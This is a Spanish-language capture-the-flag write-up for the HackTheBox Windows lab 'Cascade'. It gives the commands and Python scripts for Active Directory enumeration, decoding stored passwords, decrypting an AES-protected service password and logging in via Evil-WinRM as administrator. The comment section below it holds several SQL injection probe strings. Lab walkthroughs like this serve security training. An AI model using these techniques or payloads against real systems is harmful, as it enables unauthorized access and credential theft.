Power belongs to the people who take it

WriteUp – Cascade (HackTheBox)

En este post haremos la máquina Cascade de HackTheBox.
Es una máquina Windows de nivel medio que me ha resultado bastante interesante. Tendremos que enumerar el directorio activo en busca de unas credenciales para poder acceder al SMB, descargar el fichero de contraseñas de VNC para escalar a un usuario intermedio, desensamblar un binario para acceder a otro usuario y finalmente explorar los objetos borrados del directorio activo para encontrar unas credenciales que permitan acceder al usuario administrador.


Mi nick en HackTheBox es: manulqwerty. Si tenéis alguna proposición o corrección no dudéis en dejar un comentario, así aprendemos todos.

Write-Up

Enumeración

Como siempre, lo primero sera un escaneo de todos los puertos con nmap:

nmap --min-rate 4500 --max-rtt-timeout 1500ms -p- 10.10.10.182

Una vez sabemos qué puertos están abiertos, procedemos a hacer un escaneo más completo con Nmap: versiones (-sV) y utilizando los scripts (-sC):

nmap -sC -sV -p 53,88,135,139,389,445,636,3268,3269,5985,49154,49155,49157,49158,49165 --min-rate 4500 --max-rtt-timeout 1500ms 10.10.10.182

Como veis, tiene abiertos los puertos típicos de un directorio activo en Windows. Además tiene abierto el puerto 5985 que puede servirnos para acceder via WinRM cuando tengamos unas credenciales.

El siguiente paso es enumerar el directorio activo con alguno de los siguientes comandos:

enum4linux 10.10.10.182
ldapsearch -h 10.10.10.182 -p 389 -x -b "dc=cascade,dc=local"
rpcclient -U "" 10.10.10.182

También podemos hacer las consultas LDAP a mano a con la biblioteca de Python LDAP3:

#!/usr/bin/env python3
import ldap3
import json


def find_user_entries(host, port, ssl=False):
    server = ldap3.Server(host, get_info=ldap3.ALL, port=port, use_ssl=ssl)
    connection = ldap3.Connection(server)
    connection.bind()
    root_domain = server.info.__dict__['raw']['rootDomainNamingContext'][0].decode()
    connection.search(search_base=root_domain, search_filter='(&(objectClass=person))', search_scope='SUBTREE', attributes='*')
    return connection.entries


HOST = "cascade.local"
PORT = 389
entries = find_user_entries(HOST, PORT)
with open(HOST + ".json", "w") as f:
    json.dump([json.loads(e.entry_to_json()) for e in entries], f)

La ejecución de este código nos crea un fichero JSON con todos los objetos “person” del sistema.

python3 ldap_enum.py

Revisando todos los atributos de cada usuario, encontramos que el usuario “Ryan Thompson” tiene un atributo “cascadeLegacyPwd” que parece ser una cadena de Base64:

$ echo "clk0bjVldmE=" | base64 -d
rY4n5eva

Ya hemos encontrado un usuario: r.thompson:rY4n5eva

Explotación

Ahora que tenemos unas credenciales, vamos a intentar conseguir una shell via WinRM con la herramienta Evil-Winrm:

Parece que este usuario no puede acceder por esta vía al sistema, vamos a enumerar de nuevo con enum4linux con las nuevas credenciales:

enum4linux -u r.thompson -p rY4n5eva cascade.local

Tenemos permisos de lectura en DATA, vamos a probar a acceder vía SMB con SMBClient:

./smbclient.py r.thompson:[email protected]

Tras rebuscar y leer los ficheros que tenemos permisos, encontramos algo intersante en “IT/Temp/s.smith/VNC Install.reg”:

get IT/Temp/s.smith/VNC Install.reg

En el fichero de instalación de VNC del usuario s.smith encontramos una posible contraseña cifrada “Password”=hex:6b,cf,2a,4b,6e,5a,ca,0f.
Para descifrar la contraseña, utilizamos el siguiente repositorio: https://github.com/jeroennijhof/vncpwd
Pero antes debemos guardar la contraseña cifrada (que inicialmente está en hexadecimal) en un fichero:

import binascii

with open("vnc_passwd", "wb") as f:
    f.write(binascii.unhexlify('6b,cf,2a,4b,6e,5a,ca,0f'.replace(",", "")))

Ahora ya tenemos la contraseña de s.smith: sT333ve2.

Vamos a probar estas credenciales con Evil-WinRM:

evil-winrm -i cascade.local -u s.smith -p sT333ve2

Ya tenemos el flag de usuario, ahora tenemos que intentar escalar a algún otro usuario o al administrador. Enumeramos de nuevo con enum4linux a ver si podemos acceder a nuevos directorios:

enum4linux -u s.smith -p sT333ve2 -S cascade.local

Gracias al comando anterior, vemos que podemos acceder al Share “Audit$”:

Descargamos todos los ficheros y abrimos los binarios (CascAudit.exe y CascCrypto.dll) con DnSpy o cualquier otro decompilador de .NET:


Si leemos el código, vemos que encripta con AES en modo CBC la contraseña (que está en la base de datos que también nos hemos descargado) con la clave “c4scadek3y654321”. Exploremos la base de datos SQLite3:

Con cualquier decrypter online de AES podemos obtener la contraseña del usuario ArkSvc:

O con python:

from Crypto.Cipher import AES
import base64

# https://stackoverflow.com/questions/12524994/encrypt-decrypt-using-pycrypto-aes-256

def _unpad(s):
    return s[:-ord(s[len(s)-1:])]

c = base64.b64decode(b"BQO5l5Kj9MdErXx6Q6AGOw==")
iv = b"1tdyjCbY1Ix49842"
key = b"c4scadek3y654321"

cipher = AES.new(key, AES.MODE_CBC, iv)

print(_unpad(cipher.decrypt(c)))

Accedemos con Evil-WinRM al servidor con las credenciales ArkSvc:w3lc0meFr31nd.
Vamos a enumerar con este nuevo usuario, listamos los grupos a los que pertenece:

Get-ADPrincipalGroupMembership ArkSvc | select name

A mí me sorprendió el grupo “AD Recycle Bin” ya que es el único distinto con respecto del usuario anterior (s.smith).

Tras investigar un poco sobre este grupo en Windows Server 2008 R2, vemos que se pueden listar y recuperar los objetos eliminados del directorio activo:

Get-ADObject -f {(isDeleted -eq $true) -and (name -ne "Deleted Objects")} -includeDeletedObjects

Como veis, hay un usuario “TempAdmin” lo cual me llevó a un fichero que pude leer con el primer usuario (Data/IT/Email Archives/Meeting_Notes_June_2018.html):

[…]perform all tasks related to the network migration and this account will be deleted at the end of
2018 once the migration is complete. This will allow us to identify actions
related to the migration in security logs etc. Username is TempAdmin (password is the same as the normal admin account password).[…]

Así que si recuperamos la contraseña del usuario TempAdmin, podremos acceder como administrador al sistema:

Get-ADObject -Filter {displayName -eq "TempAdmin"} -IncludeDeletedObjects -Properties *

Este objeto tiene el atributo “cascadeLegacyPwd” (como r.thompson) con su contraseña en Base64:

$ echo "YmFDVDNyMWFOMDBkbGVz" | base64 -d
baCT3r1aN00dles

Ahora podemos acceder al sistema con administrador y leer la flag:

evil-winrm -i cascade.local -u Administrator -p baCT3r1aN00dles

¿Me ayudas a compatirlo?

7 comentarios

  1. 1

  2. 1) AND 3699=3771 AND (4924=4924

  3. 1;WAITFOR DELAY '0:0:5'--

  4. 1%' AND SLEEP(5) AND '%'='

  5. 1 ORDER BY 1-- Uopg

Deja una respuesta

Tu dirección de correo electrónico no será publicada. Los campos obligatorios están marcados con *

Este sitio usa Akismet para reducir el spam. Aprende cómo se procesan los datos de tus comentarios.

© 2024 ironHackers

Tema por Anders NorenArriba ↑